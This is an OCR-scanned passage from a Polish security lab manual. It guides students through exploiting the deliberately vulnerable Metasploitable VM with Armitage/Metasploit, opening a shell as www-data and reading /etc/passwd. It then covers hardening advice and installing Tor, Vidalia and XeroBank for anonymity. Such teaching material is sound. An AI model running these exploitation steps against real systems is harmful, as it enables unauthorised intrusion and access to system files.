5.3.11. W polu Targets pojawia si¢ trzy znalezione maszyny.

[=Nz] Armitage BE®E
Armitage View Hosts Aftacks Workspaces Help
L4 ﬁ auxiliary

> [ﬁ exploit
» [ payload

Console X

[ 635 exploits - 316 auxil
[ 215 payloads - 27 encoders - 8 nops
=[ svn r11089 updated 23 days age (2010.11.22)

Warning: This copy of the Metasploit Framework was last updated 23 days ago.
We recommend that you update the framework at least every other day.
For dinformation on updating your copy of Metasploit, please see:
http://www._metasploit.com/redmine/projects/framework/wiki/Updating

Rys. 5.40. Armitage — wykryte komputery
Zrédto: opracowanie wiasne.
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5.3.12. Nastgpnie nalezy dokona¢ analizy mozliwo$ci przeprowadzenia ataku
na poszczegoélne hosty. Armitage umozliwia wykorzystanie funkcji
db_autopwn dostgpnej w Srodowisku Metasploit, aby dopasowaé
najlepsza mozliwo$¢ przetamania zabezpieczen danego komputera.
Wejdz w menu Attacks -> Find Attacks -> by port.

[=Nz] Armitage
Armitage View Hosts BSIEEN Workspaces Help

» (i awiliary Find Attacks

» (&5 exploit Browser Attacks

» (i payload Email Attacks
Evil Files

Browser Autopwn...
File Autopwn...

Hail Mary

Console X

635 exploits - 316 auxil
215 payloads - 27 encoders - 8 nops
=[ svn r11089 updated 23 days ago (2010.11.22)

Warning: This copy of the Metasploit Framework was last updated 23 days ago.
We recommend that you update the framework at Teast every other day.
For information on updating your copy of Metasploit, please see:
http://www .netasploit.con/redmnine/projects/framework/wiki/Updating

Rys. 5.41. Armitage — wyszukiwanie podatnosci na atak
Zrédlo: opracowanie wilasne.

5.3.13. Po skonczeniu analizy kliknij OK.

6 Attack Analysis Complete...
You will now see an 'Attack’ menu attached !
to each host in the Targets window.
Happy hunting!
oK

— W —— T —— o W W m—

Rys. 5.42. Armitage — zakohczenie analizy
Zrédlo: opracowanie wilasne.
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5.3.14. Niektére moduly Metasploita umozliwiaja sprawdzenie mozliwosci
powodzenia wykonania danego exploita na zdalnym komputerze. Kliknij
prawym przyciskiem myszy na ikonce komputera z adresem 172.16.1.6
i wybierz Attacks -> webapp -> check exploits...

awstats_configdir_exec
awstats_migrate_exec
barracuda_img_exec
base_qgry_common
cacti_graphimage_exec
coppermine_piceditor

» [ auxiliary

* [ exploit ‘

¥ (& payload k
> (& aix

» (& bsd dogfood_spell_sxec

> (& bsdi generic_exec

» (& cmd guestbook_ssi_exec

» [ generic joomla_tinybrowser

> (5 java mambo_cache_lite

¥ (& linux nagios3_statuswml_ping

» (i armle openview_connectednades_exec
= openx_banner_edit ftp &
oracle_vm_agent_ut| http "
oscommerce_filemanager s &
Console X | Check Exploits X pajax_remote_exec realserver b
php_include samba ¥
php_vbulletin_template smtp »
php_wordpress_lastpost EEAREEER
=[ metasploit v3.5. 1- (NN it
[ 215 payloads - 27 (RSN -
=[ svn r11089 updated SR
qtss_parse_xml_exec
sphpblog_fils_upload I ——
tikiwlki_graph_formula_exec every other day.
tikiwiki_jhot_exec . please see:
twiki_history ework/wiki/Updating

twiki_search
check exploits...

p—nitage EEMNG 12 g1igd)

Rys. 5.43. Armitage — sprawdzenie podatnosci na exploit
Zrédlo: opracowanie wilasne.

5.3.15. W polu Tabs pojawi si¢ zaktadka Check Exploits. Po zakonczeniu testow
wcisnij Ctrl +F i w pole wyszukiwania wpisz vulnerable.

=26 Armitage B
Armitage Wiew Hosts Attacks Workspaces Help

» (5 auxiliary
> [ exploit
7 [& payload

> (@ aix

» [ bsd

» [ bsdi

» (& cmd

» (& generic

> [ java

7 (& linux

> (& armle

Consocle X |l Check Exploits X

Find:  wulnerable <>1ofl X

[+] The target is vulnerable.
nsf exploit(tikiwiki_jhot_exec) > set RHOST 172.16.1.6
RHOST

nsf exploit(t i_jhot_exee) > check
[*] The target is not exploitable.

nsf exploit(twiki_search) >

Rys. 5.44. Armitage — wyniki analizy
Zrédlo: opracowanie wilasne.
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Pod$wietlony zostanie jeden z pozytywnych wynikéw testow.

Metasploitable jest podatny na exploit tikiwiki_graph_formula_exec.

System

5.3.16. Kliknij prawym przyciskiem na ikonie komputera 172.16.1.6 i wybierz
Attack -> webapp -> tikiwiki_graph_formula_exec.

Armitage Wiew Hosts Attacks Workspaces Help

> [ﬁ' auxiliary A
> exploit
=1 payload

> ([ aix

* [ bsd

» (i bsdi

» [ cmd

> [ generic

> [ﬁ']ava

¥ E linux

> ([ armle v

ftp >

Log ISR | i >

— Services misc »
Conscle X [ Check Exploits Xl Host > realserver b

samba »
smtp >
webapp »

wyse >
nsf exploit(tikiwiki_graph_formula_exec) > use unix/webDapp/TI1KIN1H

Find: wulnerable =>1lofl

[#] The target is not exploitable.

msf exploit(twiki_search) >

awstats_configdir_exec
awstats_migrate_exec
barracuda_img_exec
base_gry_common
cacti_graphimage_exec
coppermine_piceditor
dogfood_spell_exec
generic_exec
guestbook_ssi_exec
joomla_tinybrowser
mambo_cache_lite
nagios3_statuswml_ping
openview_connectednodes_exec
operx_banner_edit
oracle_vm_agent_utl
oscommerce_filemanager
pajax_remote_exec
php_include
php_vbulletin_template
php_wordpress_|astpost
php_xmirpc_eval
phpbb_highlight
phpmyadmin_config
qtss_parse_xml_exec
sphpkblog_file_upload
tikiwiki_graph_formula_exec
tikiwiki_jhot_exec
twiki_history

twiki_search

check exploits. ..

T

<C

e

y

~ IS

S Y UF Eoa _|7| @ rootebt: ~/21 #4 Armitag

=y

Rys. 5.45. Armitage — wybér rodzaju ataku

Zrédlo: opracowanie wilasne.

5.3.17. W okanie, ktére si¢ pojawi kliknij Launch.

Ld-Jdd

Po udanym wykonaniu exploitu ikona komputera zmieni si¢ na czerwona.

[=Nz] Armitage

Armitage View Hosts

Attacks

Workspaces Help

» (5 auxiliary A
L4 Iﬁ exploit
¥ [ payload

[ [ﬁ aix

* (i bsd

» [ bsdi

» (& cmd

» [ generic

» [ java

v E‘ linux

> ﬁ armle v

Rys. 5.46. Armitage — wykonanie ataku

Zrédlo: opracowanie wilasne.
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5.3.18. Kliknij prawym przyciskiem na komputerze o adresie 172.16.1.6 i wybierz
dowolng powtokg (ang. shell) a nast¢pnie Interact.

=
Armitage Miew Hosts Attacks Workspaces Help Logn  »
» [ auxliary A ®  Shell 35 » Interact
* [ exploit P Shell 36 » Upload...
v ayload ¥ Shell 33 » 8
E-2[..% Zm{ Sl ||
» [ bsd Shell 39 »
» [ bsdi Shell 37 »
(& cmd shell 38 »
» [ generic Shell 43 »
» [ java Shell 42 »
v (55 linux shell 41 »
shell 40 »

» (i armle v

shell 67 »
Shell 65 »

— shell 22 »
Conscle X | Check Exploits X Shell 23 »
Shell 24 »
Find: wulnerable <= 1ofl Shell 25 » X
Shell 26 »
[#] Command shell session 62 opened (172. PIWNIEP e . 1 .6:60586) at Wed Dec
+0100 2010 Shell 28 »
[#*] Command shell session 57 opened (172. el .6:60581) at Wed Dec
+0100 2010 =
[#] Command shell session opened (172. LSSl . 1.6:60590) at Wed Dec
+0100 2010 il [
[#*] Command shell session 67 opened (172. EUCIFRNLN . 1.6:60591) at Wed Dec
+0100 2010 ShellZ »
[#] Command shell session opened (172. A - 1.6:60589) at Wed Dec
+0100 2010 Shellg b
nsf exploit(twiki_search) > shell 32 »

L‘\Q atl @ T § ¥ ~| @ root@bt

shells » fage

FEay gy 1 2

Rys. 5.47. Armitage — wykorzystanie ataku
Zrédlo: opracowanie wilasne.

5.3.19. W polu zaktadek pojawi si¢ nowa, przez ktéra mozliwy jest dostgp do
powtoki przejetego systemu. Wpisz w tej konsoli:

whoami
cat /etc/passwd
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[=Nz] Armitage BE R
Armitage View Hosts Aftacks Workspaces Help

» (& auxiliary A
> [ﬁ exploit
¥ (& payload

> [ﬁ aix

» (i bsd

* [ bsdi

» (& cmd

> Iﬁ generic

» [ java

v EE linux

> ﬁ armle v

[ Console X I Check Exploits X T Shell 35 X }

$ whoanmi
www-data
$ cat fetc/passwd
root: /root: /bin/bash
Jusr/shin: /bin/sh
bin/sh
ev:/bin/sh
y

Rys. 5.48. Armitage — wykonanie polecen na zdalnej maszynie
Zrédto: opracowanie whasne.

Uzyskany zostal dostgp do maszyny z systemem Metasploitable jako
uzytkownik www data 1 mozliwe jest np. wy$wietlenie pliku /etc/passwd
zawierajacego spis uzytkownikéw przejetego systemu.

5.4. Zabezpieczenie

Test penetracyjny ma na celu zbadanie systemu IT pod katem podatnosci na
znane ataki, wyszukanie luk w oprogramowaniu i bledéw konfiguracyjnych.
Efektem koncowym takiego testu powinien by¢ raport, w ktérym opisane sa wykryte
zagrozenia oraz zaproponowane zostang rozwiazania wykrytych problemow.

System Metasploitable, ktory zostat poddany testom, jest specjalng dystrybucja
systemu Ubuntu, w ktérej zainstalowano stare i/lub dziurawe oprogramowanie.
Duzym utrudnieniem dla potencjalnego agresora jest wiec stosowanie mozliwie
najnowszego 1 na biezaco aktualizowanego oprogramowania. Ponadto nie nalezy
zapomina¢ o aktualizacji samego systemu operacyjnego, w ktérym owe oprogra-
mowanie jest uruchamiane (np. Windows Update w systemach firmy Microsofft,
apt-get update && apt-get upgrade w systemach Debian | Ubuntu). Zawsze
jednak moze zosta¢ ujawniona luka typu O-day, do ktérej nie ma dostgpne]
poprawki — wtedy moze by¢ konieczna nawet zmiana oprogramowania (np.
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platformy bazodanowej), jesli bezwzglednym priorytetem jest bezpieczenstwo
danych.

Kolejnym btgdem jest btedna konfiguracja programéw, ustug, praw dostgpu
etc. Atak na serwer Apache Tomcat nie powiddiby sig, gdyby podczas konfiguracji
serwera usunig¢to domyslne hasta dostgpowe.

Pomocny przy usuwaniu btgdéw i probleméw zwiazanych z bezpieczenstwem
systemu jest np. raport wygenerowany przez program Nessus. W wersji darmowej
nie zawiera on najswiezszych wykrytych luk i btedéw, jednak mimo to oferuje
rozbudowana pomoc dotyczaca metod zabezpieczen wykrytych probleméw. Przy
wielu wykrytych btedach znajduja si¢ wskazéwki konfiguracyjne (np. propozycja
zmiany niebezpiecznej ustugi telnet na szyfrowane ssh, sugestie dotyczace
blokowania ruchu na wybranych portach) i/lub odno$niki do dostgpnych poprawek
(patchy). W przypadku wykrycia luk w systemach z rodziny Windows w opisach
luk znajduja si¢ réwniez odno$niki do portalu Microsoft TechNet, gdzie mozna
doktadnie zapozna¢ si¢ z analiza btedéw i pobraé poprawki do programéw firmy
Microsoft. Drugim waznym aspektem raportow programu Nessus jest oszacowanie
poziomu ryzyka dotyczacego kazdego problemu — dzigki temu utatwiona jest
priorytetyzacja dziatan majacych na celu zabezpieczenie systemu informatycznego.
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6. TOR — ANONIMOWOSC W INTERNECIE

Opracowat: Sebastian Bugata

Cel ¢wiczenia: Poznanie mozliwos$ci zapewnienia anonimowosci
w Internecie przy pomocy technologii trasowania
cebulowego

Potrzebne narze¢dzia: Microsoft Windows 7, Ubuntu 10.10, Tor Browser

Instant Messaging Bundle, Mozilla Firefox, Vidalia,
xB Browser, biblioteka WinPcap

Literatura: Dominika Lisiak-Felicka, AnonimowosS¢ w Sieci, w:
Hakin9 01/20009, ss. 48-51. Maciej Szmit, Routing
cebulowy w: Magazyn Hakin9 03/2008, ss. 14-17.

TOR (The Onion Router) jest programem implementujacym wirtualng sie¢
komputerowa, ktérej charakterystyka dziatania umozliwia anonimowy dostgp
do zasobdw Internetu i zapobiega analizie ruchu. Anonimowo$¢ jest zapewniana
poprzez zastosowanie techniki trasowania cebulowego — kazdy pakiet jest
wielokrotnie szyfrowany 1 przesylany przez kolejne wezly zwane routerami
cebulowymi. Kazdy router usuwa jedna warstwe szyfrowania, dzigki czemu
uzyskuje informacje o nastgpnym routerze posredniczacym i przesyla pakiet dale;j.

W ¢wiczeniu zaprezentowana zostanie mozliwos¢ uzycia ustugi TOR do
ukrycia adresu IP swojego komputera.

DHCP

Debian Linux 5.0
172.16.1.1/ 24

Microsoft Ubuntu Linux
Windows 7 10.10
172.16.1.4 /24 172.16.1.5/24

Rys. 6.1. Topologia sieci wykorzystana w ¢wiczeniu
Zrédto: opracowanie wlasne.
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6.1. Instalacja TOR-a na Windows 7

6.1.1. Uruchom wirtualnag maszyng z systemem Windows 7 i zaloguj si¢ do
systemu.

6.1.2. Upewnij sig, ze konfiguracja sieci pozwala na komunikacj¢ z Internetem.
Wpisz w konsoli:

ping www.google.pl

6.1.3. Na maszyn¢ wirtualna z systemem Windows 7 skopiuj pliki z ptyty DVD
z katalogu TOR do katalogu roboczego.

6.1.4. Zainstaluj program Mozilla Firefox (proces instalacji przedstawiono
w punkcie 4.3).

6.1.5. Nastgpnie uruchom instalator biblioteki WinPcap (proces instalacji
przedstawiono w punkcie 4.3).

6.1.6. Uruchom instalator programu Vidalia implementujacego ustugg TOR.

6.1.7. Na pierwszym ekranie mozna wybra¢ jezyk programu. Wybierz instalacje
w jezyku polskim, a nastgpnie wcisnij OK.

Installer Languag‘ :
@ Please select a language.
g

|Polski

Rys. 6.2. Vidalia Bundle — wybor jezyka
Zrédlo: opracowanie wilasne.
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6.1.8. Uruchomi si¢ kreator instalacji programu Vidalia. Kliknij Dalej.

Wita] w Kreatorze Instalacji Vidalia
Bundle

Kreator przeprowadzi Cie przez instalacje Tora, Vidali, Polipo
oraz Torbuttona.

Tor jest systemem pozwalajxcym anonimowe surfowad po
internedie, pomaga zachowad anonimowo ¢ podczas
przegl+dania i publikaci stron www, uzywania
komunikatordw, IRC i innych. Vidalia jest graficznym
interfejsem uzytkownika, ktéry pomaga sterowad,
monitorowad i konfigurowad Tora.

Polipi jest cache'ujxcym serwerem proxy, ktory pomaga
zwickszyc wydajno %€ podczas przegl+dania sied z uzyden
Tora.

Torbutton jest rozszerzeniem Firefoxa, ktére umaozliva w
szybki sposdb przet+czanie sie w tryb anonimowego
surfowania.

1l e dnin inebalae b Taes Wd=lia Raline bk

[ Dalej = ] [ Anuluj

Rys. 6.3. Kreator instalacji Vidalia Bundle
Zrédto: opracowanie wiasne.

6.1.9. Nastgpnie nalezy wybraé sktadniki pakietu. Zaznacz wszystkie pozycie
i kliknij Dalej.

Instalater Vidalia Bundle ;_c. LEL]
R ST ST

Wybierz komponenty
Wybierz komponenty programu Vidalia Bundle, ktdre chcesz
zainstalowad,

Zaznacz komponenty, ktdre cheesz zainstalowad | odznacz te, ktdrych nie cheesz instalowad.
Kliknij Dalej, aby kontynuowac,

Albo wybierz opcjonalne vidalia 0.2, 10
komponenty, ktére cheesz 5[] Tor 0.2.1.29

zainstalowad:
[-[+] Polipo 1.0.4.1
[#-[¥] Torbutton 1.2.5

Opis

Wymagane miejsce: 27.2MB

I < Wstecz ][ Dalej = ] [ Anuluj

Rys. 6.4. Wybdr komponentéw do instalacji
Zrédlo: opracowanie wlasne.
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6.1.10. Na kolejnym ekranie mozna wybra¢ §ciezke dla instalacji. Kliknij przycisk
Zainstaluj.

Whybierz lokalizacje dla instalacji
Wybierz folder, w ktdrym ma by¢ zainstalowany Vidalia Bundle,

Instalator zainstaluje program Vidalia Bundle w nastepujacym folderze. Aby zainstalowad w
innym folderze, kiknij Przeglada] i wybierz folder. Kliknij Zainstaluj, aby rozpoczad instalacie.

Folder docelowy

C:\Program Files\Widalia Bundle Przegladaj...

\Wymagane miejsce: 27.2MB
Dostepne migjsce: 4258.8MB

Vidalia Bundle 0,2,1,29-0,2,10 (Rev, 1)

[ < Wstecz ]LZainstaIuj ] [ Anuluj ]

Rys. 6.5. Vidalia Bundle — wybdr miejsca instalacji pakietu
Zrédlo: opracowanie wlasne.

6.1.11. Nastgpnie zostaniesz poproszony o potwierdzenie instalacji dodatku
TorButton do przegladarki Mozilla Firefox. Wcisnij Zainstaluj.

@ Mo Frr e
2 Wi b s Mo Pormos

72y | files///C:/Program Files (:86)/Vidalia Bundle/ Torbutton/torbutton-1.2. S.xpi > - | |28+ Google £
2 Czesto odwiedzane | | Pierwsze kroki 5 Aktualnosci
| L] ez nazwy) [+ =

Instalacja oprogramewania E=
’I\ Nalezy i dodatki ie ze Zrédet
N godnych zaufania.

Niebezpieczne oprogramowanie moze uszkodzic dane w komputerze lub
spowodowat naruszenie prywatnosd uzytkownika.
Zazadano instalacji nastepujacego elementu:

* torbutton-1.2.5.xpi  (autor niezweryfikowany)
file:///C:/Program %20Files%:20(x86)/ Vidali 12%20Bundle/ T -1.2.5.xpi

Rys. 6.6. Instalacja dodatku Tor Button dla przegladarki Firefox
Zrédlo: opracowanie wlasne.
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6.1.12. Zrestartuj przegladarke, klikajac przycisk Uruchom ponownie program

.

Firefox.

= =1

@ Dodatki == [=1EE=]
L &k 4 B N
=] o % > | 98- Googie A

Pobierz dodatki  Rozszerzenia  Motywy —Wiyczki  Instalagia
L x =

Torbutton 1.25

Uruchom program ponownie, by dokoriczyé instalace.

Zatrzymano

Rys. 6.7. Tor Button konczenie procesu instalacji
Zrédlo: opracowanie wlasne.

6.1.13. Instalacja zostala ukonczona. Na dwdéch kolejnych ekranach kliknij
odpowiednio Dalej oraz Zakoncz.

Instalator Vidalia Bundle
4 Zakoficzono instalacie
Instalacja zakoriczona pomysinie.

Zakonczono
-_—
Utwdrz folder: C:\ProgramData\Microsoft\Windows\Start Menu'\Programsvidalia Bun...
Utwdrz skrot: C:\ProgramDataMicrosoftiWindows\Start Menu'\Programs\Vidalia Bund. ..
Utwdrz skrét: C:\ProgramDataMicrosoft\Windows\Start Menu\Programs\vidalia Bund. ..
Folder wyjsciowy: C:\Program Files\Vidalia BundleTorbutton

Rozpakuj: LICENSE

Rozpakuj: torbutton-1.2.5.xpi

Uruchom: "C:\Program Files\Mozilla Firefox 4.0 Beta 9\firefox.exe™ "C:\Program Files\...
Folder wyjsciowy: C:\Program Files\Vidaliz Bundle

Utworzono deinstalator: C:\Program Files\Vidalia Bundle\Uninstall.exe

Zakoriczono

Yidalia Bundle 0.2,1,29-0.2,10 (Rev. 1)

| < wstecz |[ Dalgj > ] | Anuiuj |

Rys. 6.8. Vidalia Bundle konczenie procesu instalacji
Zrédlo: opracowanie wlasne.
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Konczenie pracy kreatora instalacji
Vidalia Bundle

Instalacja zakoriczona.

Prosze zobaczyd
https:/fwww. torproject. org/docstor-doc-windows aby
dowiedziec sic, jak skonfigurowaé aplikage do wspdipracy z
Torem.

[¥] Uruchom teraz zainstalowane komponenty.

Dokumentacja instalacji Tor

Rys. 6.9. Vidalia Bundle kofczenie pracy kreatora instalacji
Zrédto: opracowanie wiasne.

6.1.14. Uruchom przegladarke Mozilla Firefox.

6.1.15. Upewnij sig, ze w prawym dolnym rogu widnieje napis Tor wylaczony.

(@) Witamy w Firefoksie - Mozilla Firefox EI@
Plik Edycja Widok Historia Zaktadki MNarzedzia Pomog
- 7y (B hitp//www.mozilla.com/pl/Firefax/3 612 Firstrun/ 77 ~| M~ Google R
£ Czesto odwiedzane || Pierwsze kroki 5y, Aktualnosci
P Witamy w Firefoksie x | 4 Strona startowa programu Mozilla F... -
i
: ol
° = Dziekujemy za wsparcie n
B = - . -
J / I re Ox pobudzania innowacyjnos|=
L] i potencjatu Sieci! |
(] Bz ; -
50 . / B alp Badz na|
b‘ - e i
Wybierz swoj —
motyw Personas.
= Zost:
Wskaz mysza, aby n —
wyprébowaé. Kliknij, aby -
uzyé. B Ezyta
4 | [ »
Zakoficzono Tor wytaczony

Rys. 6.10. Weryfikacja dziatania dodatku Tor Buton
Zrédlo: opracowanie wlasne.
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6.1.16. Sprawdz swoj adres IP. Wejdz na strong http://www.kurshtml.boo.pl/ip/

Blik Edycja Widok Historia Zakladki Nerzedzia Pomog

@B‘-\ C X~ @ htp:/ /www.kurshtml.boo.pl/ip/ v -] @- wheis o

8 Cresto odwiedzane | | Pierwszekroki ), Aktualnosci
| ES 1P tester [ =] ™
IP tester

Twoje dane:
- 85.89.170.47
(154 staticine12586.toya.net.pl
" 85.89.170.47 (staticline12586.toya.net.pl)
1 Polska / Lodz

Pokaz hosta/IP:

Zlokalizuj IP:
Europa, Afryka:
P
Azja, Pacyfik: )
Ameryka taciriska, Karaiby:
© www.kurshtml.boo.pl
Zakoriczono Corwhcond

Rys. 6.11. Weryfikacja adresu IP dla przegladarki nie korzystajacej z sieci TOR
Zrédto: opracowanie wlasne.

6.1.17. Kliknij na napisie Tor wylaczony i zaladuj powyzsza stron¢ ponownie.

Blik Edycja Widok Historia Zakladki Nerzedzia Pomog

@Q- C 0 £ (B8 httpy//wrw kurshtrnlboo.pl/ip/ 72 <] (48~ whois 5|

£ Czgsto odwiedzane || Pierwsze kroki 5 Aktualnosci
| H8 P tester == =
IP tester

Twoje dane:

| 194.154.227.109

oy 194.154.227.109 (unknown)
SO ETEEEETEE T United States / Providence

Pokaz hosta/IP:
Szukaj

Zlokalizuj IP:
Europa, Afryka:
e
Py
Ameryka tacifiska, Karaiby: Saukaj
© www kurshtml.boo.pl
Zakoficzone C_Jorwhaczony

Rys. 6.12. Weryfikacja adresu IP dla przegladarki korzystajacej z sieci TOR
Zrédto: opracowanie wihasne.
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Adres IP wys$wietlany przez strong testowa w przegladarce Firefox zmienia
sig, co potwierdza prawidlowe dziatanie dodatku Tor Buton, ktéry po uaktywnieniu
wymusza na przegladarce korzystanie z sieci TOR.

6.2. Instalacja TOR-a na Ubuntu 10.10

6.2.1. Przed przystapieniem do instalacji niezbedne jest uaktualnienie repozytoriéw
systemu, jako root edytuj list¢ zrdédet przy pomocy nastgpujacego polecenia:

nano /etc/apt/sources.list

a nast¢pnie dodaj na koncu listy ponizszy wpis:

@®® root@ubuntu: /home/bss/Downloads/tor-browser_en-US

File Edit View Search Terminal Help
GNU nano 2.2.4 File: /etc/apt/sources.list Modified

deb-src http://extras.ubuntu.com/ubuntu main

ity.ubuntu.com/ubuntu
curity.ubuntu.com/ubuntu

/security.ubuntu.com/ubuntu
//security.ubuntu.com/ubuntu

/security.ubuntu.com/ubuntu

/security.ubuntu.com/ubuntu

fdeb.torproject.org/torproject.org maverick main

¢ Get Help @Y WriteOut @& Read File @i Prev Page @i Cut Text o8 Cur Pos
! Exit L fQl vhere Is Next Page @V UnCut Textgll To Spell

Rys. 6.13. Ubuntu 10.10 - dodawanie nowego repozytorium do listy zrédet
Zrédto: opracowanie whasne.

6.2.2. Wpisz w konsoli:

gpg --keyserver keys.gnupg.net --recv 886DDD89

gpg --export A3C4FOF979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-
key add —
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nastgpnie pobierz nowa listg aplikacji z repozytorium poleceniem:
apt-get update
1 zainstaluj Tora, wpisujac:

apt-get install tor tor-geoipdb

6.2.3. Przejdz do katalogu /etc/polipo/ i podmien plik config na ten znajdujacy
si¢ w katalogu /TOR na ptycie DVD.

6.2.4. Zrestartuj polipo poleceniem:

/etc/init.d/polipo restart

6.2.5. Uruchom przegladarke Firefox i odwiedz nastgpujacy adres https://addons.
mozilla.org/pl/firefox/addon/torbutton/ w celu pobrania dodatku forbutton:

6.2.6. Kliknij pobierz, a nastgpnie postepuj zgodnie z opisem z punktéw 6.1.11-
6.1.12.

6.2.7. Uruchom przegladarke Mozilla Firefox, a nastgpnie wykonaj raz jeszcze
czynnosci z punktéw 6.1.15 - 6.1.17.

6.3. Pakiet XeroBank Browser

xB Browser (dawniej Torpark) to darmowa przegladarka internetowa oparta
o przegladarke Firefox, przygotowana pod katem bezpieczenstwa. xB Browser nie
zostawia zadnych $ladéw, zapewniajac wysoka anonimowos¢ przy eksplorowaniu
sieci Internet.

6.3.1. Pobierz ze strony https://xerobank.com/download/ najnowsza wersje pakietu
XeroBank.
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6.3.2. Uruchom instalator przeczytaj i zatwierdz warunki licencji klikajac I Agree
(rys. 6.14).

0 XeroBank 3.9.10.24 Sety

License Agreement
Flease review the license terms before instaling XeroBank
3.9.10.24.

Press Page Down to see the rest of the agreement.

GNU GEMERAL PUBLIC LICENSE
Version 3, 29 June 2007

Copyright (C) 2007 Free Software Foundation, Inc, <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies

of this license document, but changing it is not alowed.
Preamble

The GNU General Public License is a free, copyleft license for
software and other kinds of works.

If you accept the terms of the agreement, dick I Agree to continue. You must accept the
agreement to install XeroBank 3.9.10.24.

SPECIAL OFFER: Click here for FAST anonymity

Rys. 6.14. Instalator pakiety XeroBank
Zrédlo: opracowanie wlasne.

6.3.3. Wskaz miejsce na dysku, w ktérym zainstalowany zostanie pakiet (rys. 6.15),
nastgpnie przejdz dalej klikajac przycisk Next >.

Choose the folder in which to install XeroBank 3.9.10.24.

Setup will install ¥eroBank 3.9.10.24in the following folder.
To install in a different folder, dick Browse and select another

folder. Click Next to continue.

Destination Folder

Space required: 33.2MB
Space available: 673.5MB

SPECIAL OFFER.: Click here for FAST anonymity

[ <Back |[ mext> | [ concel |

Rys. 6.15. Wyb6r miejsca instalacji pakietu XeroBank
Zrédto: opracowanie wlasne.
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6.3.4. Wybierz Tor Version darmowy odpowiednik aplikacji (rys. 6.16).

© XeroBank 2.9.10.24 Setup S[E] = |

User Registration
A Enter registration information or select free version.

Flease select your registration type. The Free Version uses the public tor network and
XeroBank Member is for dients who already have an account.

() XeroBank Client

(@) Tor Version

SPECIAL OFFER: Click here for FAST anonymity -

[ < Back ][ Mext = ][ Cancel

Rys. 6.16. Wyb6r darmowej wersji oprogramowania
Zrédto: opracowanie wiasne.

6.3.5. Na kolejnym ekranie przejdz dalej, klikajac Next >(rys. 6.17).

© XeroBank 3.9.10.24 Setup [=[=] = ]
Choose Components
| Choose which features of XeroBank 3.9.10.24 you want to
. install.

Check the components you want to install and unchedk the components you don't want to
install, Click Mext to continue,

Select components to install: B Browser 2.0.0.20c

Description
Uninstaller

Space required: 33.2MB

SPECIAL OFFER: Click here for FAST anonymity -

[ < Back ][ Mext > ][ Cancel ]

Rys. 6.17. Wyb6r komponentéw do instalacji
Zrédto: opracowanie wiasne.
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Nastepnie aplikacja rozpocznie proces instalacji, ktéry ilustruje ponizszy
rysunek.

© XeroBank 2.9.10.24 Setup =SlEe=]

Installing
A Flease wait while XeroBank 3.9. 10,24 is being installed.

Extract: firefox.exe

Extract: sshhostkeys -
Qutput folder: C:\Program Files\XeroBankApph, putty\sessions

Qutput folder: C:\Program Files\¥eroBank'App'\AppInfo

Qutput folder: C:\Program Files\XeroBank\App'\Browser

Qutput folder: C:\Program Files\XeroBank\App\Browser \firefox

Extract: AccessibleMarshal.dl

Extract: LICENSE

Extract: README. txt

Extract: browserconfig.properties m
Extract: firefox.exe =

SPECIAL OFFER: Click here for FAST anonymity -

< Back Mext = Cancel

Rys. 6.18. Proces instalacji pakietu XeroBank
Zrédlo: opracowanie wlasne.

6.3.6. Po zakonczeniu procesu instalacji na ostatnim ekranie zaznacz opcje Create
Desktop and Start Menu Shortcuts i wybierz Finish (rys. 6.19).

© XeroBank 2.9.10.24 Setup =SlEe=]

3801051014 Completing the XeroBank 3.9.10.24
Setup Wizard

¥eroBank 3.9.10.24 has been installed on your computer,

Click Finish to dose this wizard.

Run xB VPN

Create Desktop and Start Menu Shortcuts

< Back Cancel

Rys. 6.19. Konczenie pracy kreatora pakietu XeroBank
Zrédto: opracowanie wiasne.

166



6.3.7. Uruchom dowolna dostepna przegladarke internetowa i odwiedz adres
http://www.ip-adress.com/ w celu sprawdzenia wlasnego zewngtrznego
adresu IP.

Ponizszy rysunek przedstawia dziatanie strony w przypadku Politechniki
Lodzkie;j.

||.|'|l” IP-address.com - My IP address and IP tools

Whatis my IP? IP address finder, Speedtest and more.

[} Lubig to! W 9597 likes. Zarsjestruj siz to see what your friends like.

An IP address (Internet Protocol Add logical address of a network adapter. The IP

address is unigue and identifies computers on a network

My IP address is: 212.191.76.10

My IP Address Location: Lodz in == Poland
ISP of my IP: Technical University of Lodz Computer Centre

: -
@ < Phack a
tiee

3

5 |-Gostynin
Kutna”
o

Koo ‘Soenaczenc

. LA
I A towicz . C
(B oo ok

Skiemiewics
= b
2dutiska ., L%;k @ Pabianice
Waola Tomas.
G E 2 Mazow

Rys. 6.20. Zewngtrzny adres IP wykorzystywanego komputera
wedltug strony www.ip-adress.com
Zrédlo: opracowanie wlasne.

6.3.8. Uruchom przegladarkg xB Browser, wybierajac Start -> Wszystkie
programy -> XeroBank -> xB Browser.Ink i powtérz czynnoS$ci
z poprzedniego punktu, a nastgpnie poréwnaj otrzymane wyniki.

Ponizszy rysunek prezentuje dziatanie strony w przegladarce xB Browser dla
Politechniki £.6dzkiej. Adres IP zmienit si¢, poniewaz przegladarka ta w swoim
dziataniu domysSlnie korzysta z sieci TOR.

||.|!|l” IP-address.com - My IP address and IP tools

What is my IP? IP address finder, Speedtest and more.

£ Like B3 9521 likes. Sign Up to see what your friends like.

An IP address (Internet Protocol A al address of a network adapter. The IP

address is unique and identifies c  network

My IP address is: 199.48.147.36

My IP Address Location: San Francisco in = United States
ISP of my IP: Applied Operations

Rys. 6.21. Adres IP Politechniki L.6dzkiej wedtug strony www.ip-adress.com przy uzyciu
przegladarki xB Browser. Zrédto: opracowanie wtasne.
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6.4. Tor Browser Instant Messaging Bundle wersja dla Windows

Tor Browser Instant Messaging Bundle to narzgdzie nalezace do grupy
portable (ang. przeno$ny); oznacza to, ze nie wymaga instalowania i mozemy
zabra¢ je ze soba w dowolne miejsce przy uzyciu pamigci przenosnej USB (ang.
Universal Serial Bus — uniwersalna magistrala szeregowa). Narzedzie to oferuje
dwie funkcjonalno$ci — przegladarke stron www (portable firefox) oraz komunikator
tekstowy (portable pidgin), przy czym obie aplikacje w dzialaniu korzystaja
z sieci TOR, dajac nam komfort anonimowo$ci w kazdym miejscu, w ktérym
bedziemy korzystali z sieci Internet. Aplikacja dostgpna jest pod wigkszos$¢
popularnych systeméw operacyjnych, takich jak: Windows, Mac OS X oraz Linux.

6.4.1. Przejdz na wirtualng maszyng z systemem Windows 7 i pobierz najnowsza
stabilng wersj¢ Tor Browser Instant Messaging Bundle dla systemu z rodziny
Windows ze strony producenta znajdujacej si¢ pod nast¢pujacym adresem:
